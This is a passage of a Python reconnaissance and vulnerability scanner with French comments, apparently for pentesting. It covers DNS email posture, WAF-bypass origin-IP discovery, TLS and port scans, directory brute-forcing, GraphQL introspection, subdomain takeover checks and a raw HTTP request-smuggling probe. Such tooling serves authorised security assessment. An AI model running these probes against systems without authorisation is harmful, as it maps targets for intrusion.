    ("TLSv1.1", ssl.TLSVersion.TLSv1_1),
    ("TLSv1.2", ssl.TLSVersion.TLSv1_2),
    ("TLSv1.3", ssl.TLSVersion.TLSv1_3),
]

DB_PORTS = {3306, 5432, 6379, 9200, 11211, 27017}

_DNS_CACHE = {}
_DNS_CACHE_TTL = 600


def _doh_rr(name, rr_type, cache=True):
    """Requête DoH Cloudflare (JSON, passif). Renvoie (status, answers, ad).

    answers : liste brute des enregistrements ; ad : drapeau « authentifiée
    par DNSSEC » propagé par le résolveur."""
    key = (name, rr_type)
    now = time.time()
    if cache and key in _DNS_CACHE and now - _DNS_CACHE[key][0] < _DNS_CACHE_TTL:
        return _DNS_CACHE[key][1]
    req = urllib.request.Request(
        "https://cloudflare-dns.com/dns-query?name="
        + urllib.parse.quote(name) + "&type=" + str(rr_type),
        headers={"Accept": "application/dns-json",
                 "User-Agent": "pentest-osint"},
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        d = json.loads(resp.read().decode("utf-8", "replace"))
    res = (d.get("Status", 0), d.get("Answer", []), bool(d.get("AD")))
    if cache:
        _DNS_CACHE[key] = (now, res)
    return res


def _doh_txt(name, cache=True):
    """Résolution TXT via DNS-over-HTTPS Cloudflare (passif, JSON).

    Le champ "data" des réponses TXT inclut les guillemets DNS (ex.
    "v=spf1 …") : on les retire pour que les tests startswith( ) soient fiables.
    """
    _, answers, _ = _doh_rr(name, 16, cache=cache)
    return parse_txt_answers(answers)


DKIM_SELECTORS = (
    "default", "google", "mail", "dkim", "k1", "k2", "s1", "s2",
    "selector1", "selector2", "selector3", "selector4",
    "20120113", "20221213", "20230601", "20240501", "20250301",
    "protonmail", "fm1", "fm2", "1", "2",
)


def check_dns_posture(hostname, resolver=None, host_resolver=None):
    """Posture e-mail du domaine : SPF, DMARC, DKIM (requêtes DNS passives).

    resolver/ host_resolver : injectables pour les tests unitaires (faux DNS,
    sans réseau). Par défaut : DoH Cloudflare / résolution systeme."""
    if resolver is None:
        resolver = _doh_txt
    if host_resolver is None:
        host_resolver = dns_resolve
    out = []
    notes = []
    try:
        spf = resolver(hostname)
    except Exception as e:
        return [], [f"DNS (SPF/DMARC) : requête DoH échouée ({e})"]
    spf_recs = [t for t in spf if t.startswith("v=spf1")]
    if not spf_recs:
        out.append({"type": "Aucun enregistrement SPF", "severity": "moyenne",
                    "evidence": "domaine sans SPF — l'expéditeur peut être usurpé (spoofing)",
                    "source": "dns"})
    else:
        tx = spf_recs[0]
        notes.append("SPF : " + tx)
        if "+all" in tx:
            out.append({"type": "SPF trop permissif (+all)", "severity": "élevée",
                        "evidence": tx, "source": "dns"})
        # Validation mécanismes : all final, include sans SPF, IP privées, hôtes
        if not re.search(r"\s[-+~]all\b", tx):
            out.append({"type": "SPF sans mécanisme all final", "severity": "moyenne",
                        "evidence": "aucun -all/~all/+all — l'expéditeur n'est pas contraint",
                        "source": "dns"})
        for m in re.finditer(r"\binclude:([^\s]+)", tx):
            inc = m.group(1).rstrip(".")
            try:
                sub = resolver(inc)
            except Exception:
                continue
            if not any(x.startswith("v=spf1") for x in sub):
                out.append({"type": f"SPF : include: {inc} sans SPF valide",
                            "severity": "faible", "evidence": inc, "source": "dns"})
        for m in re.finditer(r"\bip4:([0-9.]+)(/\d+)?", tx):
            try:
                net = ipaddress.ip_network(m.group(1) + (m.group(2) or "/32"))
                if not net.is_global:
                    out.append({"type": "SPF autorise une IP non routable/privée",
                                "severity": "faible", "evidence": str(net),
                                "source": "dns"})
                    break
            except ValueError:
                pass
        for m in re.finditer(r"(\b[aA](?::[^\s]+)?|\bmx(?::[^\s]+)?|\bptr(?::[^\s]+)?)\b",
                             tx):
            ref = (m.group(1).split(":", 1)[1] if ":" in m.group(1)
                   else hostname).rstrip(".")
            if host_resolver(ref) is None:
                out.append({"type": f"SPF : hôte '{ref}' non résolu",
                            "severity": "faible", "evidence": ref, "source": "dns"})
    try:
        dmarc = resolver("_dmarc." + hostname)
    except Exception:
        dmarc = []
    if not dmarc:
        out.append({"type": "Aucun enregistrement DMARC", "severity": "moyenne",
                    "evidence": "pas de politique DMARC — récepteurs ne filtrent pas l'usurpation",
                    "source": "dns"})
    else:
        for t in dmarc:
            if not t.startswith("v=DMARC1"):
                continue
            m = re.search(r"p=(none|quarantine|reject)", t)
            if m is None:
                notes.append("DMARC : politique 'p=' absente")
            elif m.group(1) == "none":
                out.append({"type": "DMARC en mode passif (p=none)",
                            "severity": "faible", "evidence": t, "source": "dns"})
            elif m.group(1) == "quarantine":
                notes.append("DMARC : p=quarantine (recommandé : renforcer à p=reject)")
            else:
                notes.append("DMARC : politique reject active")
            if "rua=" not in t:
                notes.append("DMARC : pas d'adresse rua (aucune télémétrie d'usurpation)")
            if "sp=" not in t:
                notes.append("DMARC : pas de politique sp= pour les sous-domaines")
            break
    found_dkim = []
    for sel in DKIM_SELECTORS:
        try:
            rr = resolver(sel + "._domainkey." + hostname)
        except Exception:
            continue
        if rr:
            found_dkim.append(sel)
    if found_dkim:
        notes.append("DKIM : sélecteur(s) actif(s) : " + ", ".join(found_dkim))
    else:
        notes.append("DKIM : aucun sélecteur courant ne publie de clé")
    return out, notes


_CF_NETS_V4 = [
    ipaddress.ip_network(n) for n in (
        "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22",
        "104.16.0.0/13", "104.24.0.0/14", "108.162.192.0/18",
        "131.0.72.0/22", "141.101.64.0/18", "162.158.0.0/15",
        "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
        "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
    )
]

_MAIL_PREFIXES = frozenset({
    "mail", "smtp", "smtpd", "imap", "imaps", "pop", "pop3", "pop3s",
    "mx", "mx1", "mx2", "relay", "dkim", "autodiscover", "autoconfig",
    "webmail", "owa", "exchange", "mailhost",
})


def check_origin_exposure(hostname, subdomains=(), timeout=5):
    """IP d'origine hors CDN : sous-domaines qui résolvent hors Cloudflare.

    Si le domaine principal est derrière Cloudflare mais qu'un sous-domaine
    web (ftp., test., staging., api., …) pointe sur l'IP réelle du serveur,
    le WAF peut être contourné directement. Les hôtes mail (mx/smtp/imap/…)
    sont exclus : un serveur mail hors CDN est un comportement normal.
    Résolution A passive (DNS local).
    """
    out = []
    notes = []
    cands = {hostname, hostname.lstrip("www.")}
    cands.update(sd for sd in subdomains if sd and "." in sd)
    exposed = []
    for c in sorted(cands):
        label = c.rstrip(".").split(".")[0].lower()
        if label in _MAIL_PREFIXES:
            continue
        try:
            addrs = socket.gethostbyname_ex(c)[2]
        except (socket.gaierror, OSError):
            continue
        for a in addrs:
            try:
                ip = ipaddress.ip_address(a)
            except ValueError:
                continue
            if ip.is_private or any(ip in net for net in _CF_NETS_V4):
                continue
            exposed.append((c, a))
    for c, a in sorted(set(exposed)):
        notes.append(f"Résolution hors Cloudflare : {c} → {a}")
        out.append({"type": f"IP d'origine potentiellement exposée : {a}",
                    "severity": "moyenne", "source": "dns",
                    "evidence": f"{c} résout hors Cloudflare — contournement WAF possible"})
    return out, notes


def check_dns_hardening(hostname, doh_rr=None, resolve=None):
    """Durcissement DNS : CAA, DNSSEC, wildcard (passif, DoH + résolution).

    doh_rr(name, rr_type)  → (status, answers, ad)
    resolve(hostname)      → liste d'adresses (ou vide). Injectables pour
    les tests unitaires (sans réseau)."""
    if doh_rr is None:
        doh_rr = _doh_rr
    if resolve is None:
        def _sock_resolve(host):
            try:
                return socket.gethostbyname_ex(host)[2]
            except (socket.gaierror, OSError):
                return []
        resolve = _sock_resolve
    out = []
    notes = []
    try:
        _, answers, ad = doh_rr(hostname, 257)
        caa = [a["data"] for a in answers if a.get("type") == 257]
    except Exception:
        caa, ad = [], False
    if not caa:
        out.append({"type": "Aucun enregistrement CAA", "severity": "faible",
                    "evidence": "autorités de certification non restreintes",
                    "source": "dns"})
    else:
        notes.append("CAA : " + "; ".join(caa[:4]))
    try:
        _, answers, ad = doh_rr(hostname, 48)
        dnskey = [a for a in answers if a.get("type") == 48]
    except Exception:
        dnskey, ad = [], False
    if not dnskey:
        notes.append("DNSSEC : zone non signée (aucun DNSKEY)")
    elif ad:
        notes.append("DNSSEC : chaîne de confiance validée (AD=true)")
    else:
        notes.append("DNSSEC : DNSKEY présent mais validation non attestée par le résolveur")
    base = hostname.lstrip("www.")
    probe = "wx-" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=10)) \
            + "." + base
    try:
        waddrs = resolve(probe)[:1]
    except Exception:
        waddrs = []
    if waddrs:
        notes.append(f"Wildcard DNS actif ({probe} → {waddrs[0]})")
    return out, notes


def audit_tls_protocols(hostname, port=443, timeout=8):
    """Sonde les versions TLS supportées (force chaque protocole au handshake)."""
    out = []
    for label, ver in TLS_VERSIONS:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.minimum_version = ver
        ctx.maximum_version = ver
        try:
            s = proxy_connect(hostname, port, timeout=timeout)
            with s:
                with ctx.wrap_socket(s, server_hostname=hostname) as ss:
                    cipher = ss.cipher()[0]
        except (OSError, ssl.SSLError):
            continue
        if label in ("TLSv1.0", "TLSv1.1"):
            out.append({"type": f"Protocole TLS obsolète supporté : {label}",
                        "severity": "élevée", "source": "tls",
                        "evidence": f"{hostname}:{port} — {label} ({cipher})"})
        else:
            out.append({"type": f"TLS {label} supporté", "severity": "faible",
                        "source": "tls",
                        "evidence": f"{hostname}:{port} — {cipher}"})
    return out


def check_archive_exposure(hostname, limit=25):
    """Moteur passif : URLs du domaine indexées dans Wayback Machine."""
    out = []
    req = urllib.request.Request(
        "https://web.archive.org/cdx/search/cdx?url="
        + urllib.parse.quote(hostname)
        + "&output=json&fl=timestamp,original,statuscode&collapse=urlkey"
          f"&limit={limit}",
        headers={"User-Agent": "pentest-osint"},
    )
    rows = None
    for attempt in range(2):
        try:
            with urllib.request.urlopen(req, timeout=8) as resp:
                rows = json.loads(resp.read().decode("utf-8", "replace"))
            break
        except Exception:
            continue
    if rows is None:
        return [], ["Wayback : indisponible (timeout 8s) — étape ignorée"]
    if not rows or rows[0] != ["timestamp", "original", "statuscode"]:
        return [], ["Wayback : aucun résultat"]
    sensitive = re.compile(
        r"(admin|login|config|\.env|backup|\.sql|phpmyadmin|wp-admin|"
        r"api[/._]|\.git|console|panel|dashboard|upload)", re.I)
    for ts, src, code in rows[1:]:
        if code == "200" and sensitive.search(src):
            out.append({"type": "Page sensible découverte dans les archives",
                        "severity": "moyenne", "source": "wayback",
                        "evidence": f"{src} (archivé {ts}, HTTP {code})"})
    notes = [f"Wayback : {max(0, len(rows) - 1)} URL(s) archivée(s) analysée(s)"]
    return out, notes


def check_tcp_ports(hostname, timeout=2.5, limit=18):
    """Scan TCP des ports les plus courants (actif, bruyant — flag --ports)."""
    out = []
    notes = []
    open_ = []

    def _probe(item):
        port, svc = item
        try:
            s = proxy_connect(hostname, port, timeout=timeout)
            s.close()
            return port, svc, True
        except OSError:
            return port, svc, False

    with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
        for port, svc, ok in ex.map(_probe, TOP_PORTS[:limit]):
            if ok:
                open_.append((port, svc))
    if not open_:
        notes.append("Aucun port TCP annexe ouvert (top " + str(limit) + ")")
        return out, notes
    for port, svc in open_:
        sev = "élevée" if port in DB_PORTS else "moyenne"
        out.append({"type": f"Port TCP ouvert : {port}/{svc}", "severity": sev,
                    "source": "ports",
                    "evidence": f"{hostname}:{port} — {svc}"})
    notes.append("Ports ouverts : " + ", ".join(
        f"{p}/{s}" for p, s in open_))
    return out, notes


def discover_subs_crtsh(hostname):
    """Candidats aux sous-domaines via Transparence des certificats (crt.sh)."""
    out = set()
    base = hostname.lstrip("www.")
    req = urllib.request.Request(
        "https://crt.sh/?q=%25." + urllib.parse.quote(base) + "&output=json",
        headers={"User-Agent": "pentest-osint"},
    )
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            rows = json.loads(resp.read().decode("utf-8", "replace"))
    except Exception:
        return set()
    for r in rows:
        name = (r.get("name_value") or "").strip()
        for n in name.split("\n"):
            n = n.strip().lower().rstrip(".")
            if n.endswith("." + base) and n != base and "*." not in n:
                out.add(n)
    return out


def fingerprint_waf(hd, body):
    """Identifie le WAF/CDN d'après en-têtes + cookies + pages d'erreur."""
    found = []
    txt = (body or b"").decode("utf-8", "ignore").lower()
    for name, hdr_keys, ck_keys in WAF_MARKERS:
        hit = any(k in str(hd).lower() for k in hdr_keys) or \
              any(k in str(hd.get("set-cookie", "")).lower() for k in ck_keys) or \
              any(k in txt for k in hdr_keys if "cloudflare" in k)
        if hit and name not in found:
            found.append(name)
    return found


def check_email_disclosure(text, base_url):
    """Adresses e-mail visibles dans le HTML (cible d'énumération/phishing)."""
    out = []
    if not text:
        return out
    emails = set(MAIL_RE.findall(text))
    skip = (".png", ".jpg", ".jpeg", ".gif", ".svg", ".webp", ".css",
            ".js", ".woff", ".woff2", "example.com", "sentry.com",
            "wixpress.com", "domain.com")
    for e in sorted(emails):
        if any(e.endswith(s) for s in skip) or len(e) > 60:
            continue
        out.append({"type": "Adresse e-mail exposée", "severity": "faible",
                    "source": "content", "evidence": e})
        if len(out) >= 8:
            break
    return out


def scan_sourcemaps(sess, base_url, js_urls, limit=10):
    """Sourcemaps des scripts : révélation du code source (fetch si vu)."""
    out = []
    for ju in js_urls[:limit]:
        try:
            _, _, jb = sess.get(ju, timeout=20)
        except Exception:
            continue
        if not jb:
            continue
        m = SOURCE_MAP_RE.search(jb.decode("utf-8", "ignore"))
        if not m:
            continue
        map_url = m.group(1)
        if map_url.startswith("//"):
            map_url = "https:" + map_url
        elif map_url.startswith("/"):
            map_url = urllib.parse.urljoin(base_url, map_url)
        elif not map_url.startswith("http"):
            map_url = urllib.parse.urljoin(ju, map_url)
        try:
            mst, _, mb = sess.get(map_url, timeout=20)
        except Exception:
            continue
        if mst == 200 and mb:
            car = mb[:200].decode("utf-8", "ignore")
            if "sourcesContent" in car or "version" in car:
                out.append({"type": "Source map exposé (code source récupérable)",
                            "severity": "élevée", "source": "sourcemap",
                            "evidence": f"{ju} -> {map_url} (HTTP 200, {len(mb)} octets)"})
    return out


def check_endpoint_exposure(sess, base_url):
    """Sonde les endpoints sensibles en PARALLÈLE (baseline 404 en amont)."""
    probe404 = "_ih_no404_" + "".join(
        random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
    bst, _, bbody = sess.get(base_url.rstrip("/") + "/" + probe404, timeout=18)
    btxt = (bbody or b"").decode("utf-8", "ignore")[:4000]

    def _one(item):
        path, name, marker, sev = item
        try:
            st, _, body = sess.get(base_url.rstrip("/") + path, timeout=14)
        except Exception:
            return None
        if st != 200 or not body:
            return None
        txt = body.decode("utf-8", "ignore")
        if bst == 200 and txt[:4000] == btxt:
            return None
        if re.search(marker, txt, re.I if isinstance(marker, str) else 0):
            return [{"type": name, "severity": sev,
                     "source": "endpoints",
                     "evidence": f"{path} -> HTTP 200"}]
        return None
    return _pmap(sess, ENDPOINT_PATHS, _one)


def check_graphql_introspection(sess, base_url):
    """Introspection GraphQL : si active, tout le schéma est lisible."""
    out = []
    paths = ["/graphql", "/api/graphql", "/graph", "/gql"]
    probe = '{"query":"query { __typename }"}'
    for p in paths:
        try:
            st, _, body = sess.post(base_url.rstrip("/") + p,
                                     data=probe.encode(),
                                     content_type="application/json",
                                     timeout=20)
        except Exception:
            continue
        if st != 200:
            continue
        txt = body.decode("utf-8", "ignore")
        if "errors" not in txt and "__typename" in txt:
            out.append({"type": "Endpoint GraphQL trouvé", "severity": "faible",
                        "source": "graphql", "evidence": p})
        intro = '{"query":"query{__schema{queryType{name}}}"}'
        try:
            i2 = sess.post(base_url.rstrip("/") + p, data=intro.encode(),
                            content_type="application/json", timeout=20)
            it = i2[2].decode("utf-8", "ignore")
        except Exception:
            continue
        if "queryType" in it or "types" in it:
            out.append({"type": "Introspection GraphQL active (schéma exposé)",
                        "severity": "élevée", "source": "graphql", "evidence": p})
    return out


def check_http_protocols(tls_info):
    """Indique les protocoles HTTP négociables (h2/h1.1/h1.0)."""
    out = []
    ver = (tls_info or {}).get("version", "")
    if ver and ver.startswith("TLSv1.3"):
        out.append({"type": "HTTP/2 + TLS 1.3 (ALPN h2) probable",
                    "severity": "faible",
                    "evidence": f"négociation TLS {ver}"})
    return out


def audit_tls_weak_ciphers(hostname, port=443, timeout=10):
    """Suite de chiffrement faibles supportées (openssl s_client, --tls-full)."""
    out = []
    notes = []
    if proxy_scheme() in ("socks5", "socks5h"):
        return out, ["openssl ne supporte pas SOCKS5 : --tls-full ignoré (évite de fuiter l'IP)"]
    for cipher in WEAK_CIPHERS:
        cmd = ["openssl", "s_client", "-connect", f"{hostname}:{port}",
               "-cipher", cipher, "-brief", "-servername", hostname]
        try:
            proc = subprocess.run(
                cmd, capture_output=True, text=True, timeout=timeout,
                stdin=subprocess.DEVNULL,
                env=proxy_env())
        except (FileNotFoundError, subprocess.TimeoutExpired, OSError):
            return out, ["openssl s_client indisponible (--tls-full ignoré)"]
        if "SUCCESS" in proc.stdout or ("Cipher is" in proc.stdout
                                         and "no cipher" not in proc.stdout):
            sev = "élevée" if any(
                k in cipher.upper() for k in ("RC4", "DES", "CBC3", "NULL",
                                              "EXP", "eNULL", "aNULL")) \
                else "moyenne"
            out.append({"type": f"Suite de chiffrement faible supportée : {cipher}",
                        "severity": sev, "source": "tls",
                        "evidence": f"{hostname}:{port} — {cipher}"})
    if not out:
        notes.append("Aucune suite de chiffrement faible détectée")
    return out, notes


def check_dirbruteforce(sess, base_url):
    """Brute-force de répertoires/fichiers courants (wordlist interne, bruyant).

    Parallélisé via _pmap : le token bucket de Session borne le débit agrégé,
    la politesse vis-à-vis du WAF est donc conservée (~boost 6-8×)."""
    out = []
    # Baseline 404 : permet d'écarter les "200 fantômes" (homepage / page d'erreur custom)
    probe404 = "_ih_no404_" + "".join(
        random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
    bst, _, bbody = sess.get(base_url.rstrip("/") + "/" + probe404, timeout=15)
    btxt = (bbody or b"").decode("utf-8", "ignore")[:4000]

    def _probe(w):
        path = base_url.rstrip("/") + "/" + w
        try:
            st, _, body = sess.get(path, timeout=15)
        except Exception:
            return None
        if st not in (200, 301, 302, 401, 403):
            return None
        txt = (body or b"").decode("utf-8", "ignore")[:4000]
        if st == 200 and bst == 200 and txt == btxt:
            return None
        return (path, st)

    found = [r for r in _pmap(sess, DIRB_WORDLIST, _probe, max_workers=8) if r][:60]
    for path, st in found:
        out.append({"type": "Ressource brute-forcée découverte", "severity": "faible",
                    "source": "dirb",
                    "evidence": f"{path} -> HTTP {st}"})
    if found:
        return out, [f"Dirble : {len(found)} ressource(s) trouvée(s)"]
    return out, ["Dirble : aucune ressource supplémentaire (wordlist interne)"]


def check_wellknown(sess, base_url):
    """Fichiers/dossiers .well-known et security.txt (passifs, 4 requêtes)."""
    out = []
    notes = []
    base = base_url.rstrip("/")
    sr = {
        "/security.txt": "racine",
        "/.well-known/security.txt": ".well-known",
    }
    found_keys = []
    for path, label in sr.items():
        try:
            st, _, body = sess.get(base + path, timeout=20)
        except Exception:
            continue
        txt = (body or b"").decode("utf-8", "ignore")
        if st == 200 and ("contact:" in txt.lower() or "expires:" in txt.lower()):
            found_keys.append(path)
            notes.append(f"security.txt présent ({path})")
        elif st == 200:
            notes.append(f"{label} : {path} renvoie 200 mais contenu non standard")
    if not found_keys:
        out.append({"type": "Pas de fichier security.txt", "severity": "faible",
                    "evidence": "aucun contact/divulgation responsable déclaré",
                    "source": "wellknown"})
    for path, label in {
        "/.well-known/change-password": "point de changement de mot de passe",
        "/.well-known/openid-configuration": "config OpenID Connect",
    }.items():
        try:
            st, _, _ = sess.get(base + path, timeout=20)
        except Exception:
            continue
        if st == 200:
            notes.append(f"{label} présent ({path})")
    return out, notes


def check_h2_alpn(hostname, hd, port=443, timeout=10):
    """Négociation ALPN (HTTP/2) + proposition HTTP/3 (passif, TLS + headers)."""
    notes = []
    try:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(["h2", "http/1.1"])
        s = proxy_connect(hostname, port, timeout=timeout)
        with s:
            with ctx.wrap_socket(s, server_hostname=hostname) as ss:
                alpn = ss.selected_alpn_protocol()
        notes.append("ALPN négocié : " + (alpn or "aucun protocole"))
    except OSError:
        notes.append("ALPN : sonde impossible")
    alt = (hd or {}).get("alt-svc", "")
    if "h3=" in alt.lower() or "h3;" in alt.lower():
        notes.append("HTTP/3 proposé (Alt-Svc: h3)")
    return notes


def check_http_smuggling(hostname, port=443, timeout=12):
    """Indice de CONTENT-LEN/TE smuggling via socket brute (--smuggle).

    Envoie une requête à double délimitation (CL + TE) : si le serveur
    répond 200 et que la suite est cohérente avec un désync, c'est un
    signal fort à valider manuellement. Un refus HTTP (ex. 400) signifie
    au contraire que le proxy/WAF en amont a bloqué la requête ambiguë :
    c'est une défense, pas une faille — on le classe en note, pas en constat.
    """
    out = []
    notes = []
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {hostname}\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Connection: close\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "G"
    )
    try:
        raw = proxy_connect(hostname, port, timeout=timeout)
        if port == 443:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            raw = ctx.wrap_socket(raw, server_hostname=hostname)
        raw.sendall(payload.encode("latin-1"))
        raw.settimeout(timeout)
        data = bytearray()
        while True:
            try:
                chunk = raw.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            data += chunk
            if len(data) > 16000:
                break
        raw.close()
    except OSError:
        return out, ["Smuggling : connexion impossible, test non concluant"]
    head = data[:64].decode("latin-1", "ignore")
    if head.startswith("HTTP/1.1 200"):
        out.append({"type": "Possible HTTP Request Smuggling (CL+TE)",
                    "severity": "élevée", "source": "smuggle",
                    "evidence": "double délimitation acceptée (HTTP 200) — à confirmer manuellement"})
    else:
        notes.append("Smuggling : requête CL+TE rejetée (" +
                     (head.splitlines()[0] if head else "réponse vide") +
                     ") — proxy/WAF a bloqué, aucun désync exploitable")
    return out, notes


def check_subdomain_takeover(sess, subdomains, scheme="https"):
    """Takeover de sous-domaine : CNAME vers service cloud + site non rattaché."""
    findings = []
    for sd in subdomains[:15]:
        try:
            canon, _, _ = socket.gethostbyname_ex(sd)
        except socket.error:
            continue
        if not canon or canon.lower() == sd.lower():
            continue
        if not TAKEOVER_SERVICES.search(canon.lower()):
            continue
        st, _, body = sess.get(f"{scheme}://{sd}", timeout=18)
        txt = (body or b"").decode("utf-8", "ignore").lower()
        if st in (404, 403, 410) or "no such app" in txt \
                or "there isn't a github pages site" in txt \
                or "herokuapp" in txt or "bucket not found" in txt \
                or "no bucket" in txt or "does not exist" in txt \
                or "not a registered" in txt:
            findings.append({
                "type": "Prise de contrôle de sous-domaine possible",
                "severity": "élevée",
                "evidence": f"{sd} -> CNAME {canon} (HTTP {st})",
            })
    return findings


def check_cloud_buckets(sess, bodies):
    """Buckets cloud (S3 / Azure Blob) listables publiquement."""
    pat = re.compile(
        r"https?://[^\s\"'<>]+\.(?:s3(?:[-.][a-z0-9-]+)?\.amazonaws\.com"
        r"|blob\.core\.windows\.net)[^\s\"'<>]*", re.I)
    hosts = []
    seen = set()
    for b in bodies:
        for m in pat.finditer(b):
            url = m.group(0).rstrip("),.;")
            try:
                parts = urllib.parse.urlparse(url)
            except Exception:
                continue
            host = (parts.netloc or "").lower().split(":")[0]
            if host and host not in seen:
                seen.add(host)
                hosts.append(host)

    def _one(host):
        try:
            st, _, body = sess.get(f"https://{host}/", timeout=12)
        except Exception:
            return None
        rb = body or b""
        if st == 200 and (b"<ListBucketResult" in rb
                          or b"<EnumerationResults" in rb):
            return [{"type": "Bucket cloud listable publiquement",
                     "severity": "élevée",
                     "evidence": f"https://{host}/"}]
        return None
    return _pmap(sess, hosts, _one)


# ---------------------------------------------------------------------------
# Fingerprinting technologique — détection de frameworks/CMS avec extraction
# de versions (JSF/PrimeFaces, WordPress, Laravel, Django, Next.js, ASP.NET…)
# ---------------------------------------------------------------------------
# version_re : regex avec 1 groupe = version extraite du même artefact
HEADER_TECH_FP = [
    # header Server
    ("Server", r"nginx(?:/([\d.]+))?", "nginx", None),
    ("Server", r"openresty(?:/([\d.]+))?", "OpenResty", None),
    ("Server", r"Apache(?:/([\d.]+))?", "Apache httpd", None),
    ("Server", r"Microsoft-IIS/([\d.]+)", "Microsoft IIS", None),
    ("Server", r"Apache-Coyote(?:/([\d.]+))?", "Apache Tomcat", None),
    ("Server", r"cloudflare", "Cloudflare", None),
    ("Server", r"Tengine(?:/([\d.]+))?", "Tengine", None),
    ("Server", r"LiteSpeed", "LiteSpeed", None),
    ("Server", r"Varnish(?:/([\d.]+))?", "Varnish", None),
    ("Server", r"Kestrel", "ASP.NET Core (Kestrel)", None),
    ("Server", r"Caddy(?:/([\d.]+))?", "Caddy", None),
    ("Server", r"Envoy", "Envoy", None),
    ("Server", r"Gunicorn(?:/([\d.]+))?", "Gunicorn", None),
    ("Server", r"Werkzeug(?:/([\d.]+))?", "Werkzeug (Flask)", None),
    ("Server", r"CherryPy/([\d.]+)", "CherryPy", None),
    ("Server", r"^GitHub\.com", "GitHub Pages", None),
    ("Server", r"^Vercel", "Vercel", None),
    ("Server", r"^Netlify", "Netlify", None),
    ("Server", r"^AmazonS3|^Amazon S3", "Amazon S3", None),
    # X-Powered-By
    ("X-Powered-By", r"PHP(?:/([\d.]+))?", "PHP", None),
    ("X-Powered-By", r"ASP\.NET(?:/([\d.]+))?", "ASP.NET", None),
    ("X-Powered-By", r"Express(?:/([\d.]+))?", "Express (Node.js)", None),
    ("X-Powered-By", r"FastAPI", "FastAPI", None),
    ("X-Powered-By", r"Flask", "Flask", None),
    ("X-Powered-By", r"Rails", "Ruby on Rails", None),
    # en-têtes clés
    ("X-AspNet-Version", r"([\d.]+)", "ASP.NET", None),
    ("X-AspNetMvc-Version", r"([\d.]+)", "ASP.NET MVC", None),
    ("X-Drupal-Cache", r".*", "Drupal", None),
    ("X-Pingback", r".*", "WordPress", None),
    ("X-ShopId", r".*", "Shopify", None),
    ("X-Nextjs-Cache", r".*", "Next.js", None),
    ("X-Symfony-Error", r".*", "Symfony", None),
    ("X-Runtime", r"([\d.]+)", "Ruby on Rails", None),
]

# cookies révélateurs d'un framework
COOKIE_TECH_FP = [
    ("PHPSESSID", "PHP"),
    ("JSESSIONID", "Java Servlet (Tomcat)"),
    ("laravel_session", "Laravel"),
    ("csrftoken", "Django"),
    ("ASP.NET_SessionId", "ASP.NET"),
    ("__Secure-next-auth.session-token", "NextAuth.js"),
    ("__Host-next-auth.csrf-token", "NextAuth.js"),
    ("wp-settings-", "WordPress"),
    ("fe_typo_user", "TYPO3"),
]

# signatures dans le HTML / JS (regex, nom, version_re ou None, confiance)
BODY_TECH_FP = [
    (r"javax\.faces\.resource|javax\.faces\.ViewState", "JSF (JavaServer Faces)", None),
    (r"primefaces\.css\?styles|ln=primefaces|primefaces[^\"']*\.css", "PrimeFaces", r"v=([\d.]+)|([\d.]+)\.css"),
    (r"/wp-content/|/wp-includes/|wp-json", "WordPress", None),
    (r"wp-content/plugins/([^/]+)", "Plugin WordPress", r"([^/]+)"),
    (r"/administrator/|com_content|joomla", "Joomla!", None),
    (r"/sites/default/|drupal\.settings", "Drupal", None),
    (r"__NEXT_DATA__|/_next/static/", "Next.js", None),
    (r"__NUXT__|/_nuxt/", "Nuxt.js", None),
    (r"__REMIX_|/@remix", "Remix", None),
    (r"/astro/\$|data-astro-", "Astro", None),
    (r"__VIEWSTATE|__EVENTVALIDATION|X-AspNet-Version", "ASP.NET", None),
    (r"laravel|csrf-token.*XSRF-TOKEN", "Laravel", None),
    (r"csrfmiddlewaretoken|__admin__|django-admin", "Django", None),
    (r"data-astro|astro-island", "Astro", None),
    (r"wix\.com|wixstatic\.com", "Wix", None),
    (r"cdn\.shopify\.com", "Shopify", None),
    (r"prestashop", "PrestaShop", None),
    (r"meta name=\"generator\" content=\"WordPress", "WordPress", r"content=\"WordPress\s+([\d.]+)\"|WordPress\s+([\d.]+)"),
    (r"<title>.*phpMyAdmin", "phpMyAdmin", None),
    (r"roundcube", "Roundcube", None),
    (r"\.git/HEAD|git-fetch|GitLab", "GitLab", None),  # gitlab leaks
    (r"/actuator|spring-boot|springframework", "Spring Boot", None),
    (r"angular(?:\.min)?\.js", "AngularJS", r"angular(?:\.min)?\.js\?v=([\d.]+)"),
    (r"react(?:\.production)?\.min\.js", "React", None),
    (r"vue(?:\.runtime)?\.(?:min\.)?js", "Vue.js", None),
    (r"jquery[.-]?([\d.]+)\.min\.js", "jQuery", r"jquery[.-]?([\d.]+)\.min\.js"),
    (r"require\.js|require-setup\.js", "RequireJS", None),
    (r"bootstrap(?:\.min)?\.(?:css|js)", "Bootstrap", None),
]


def fingerprint_tech(hd, bodies, cookies_str=""):
    """Fingerprint technologique : headers + corps HTML/JS + cookies.
    Retourne liste de dicts {name, version, confidence} triés."""
    hl = {k.lower(): v for k, v in (hd or {}).items()}
    blob = "\n".join(bodies or []) if isinstance(bodies, (list, tuple)) else str(bodies or "")
    out = {}  # name -> (version, confidence)
    _RANK = {"high": 3, "medium": 2, "low": 1}

    def _add(name, version=None, conf="low"):
        if not name:
            return
        cur = out.get(name)
        if not cur or (cur[1] is None and version) \
                or _RANK.get(conf, 1) > _RANK.get(cur[1], 1):
            if cur:
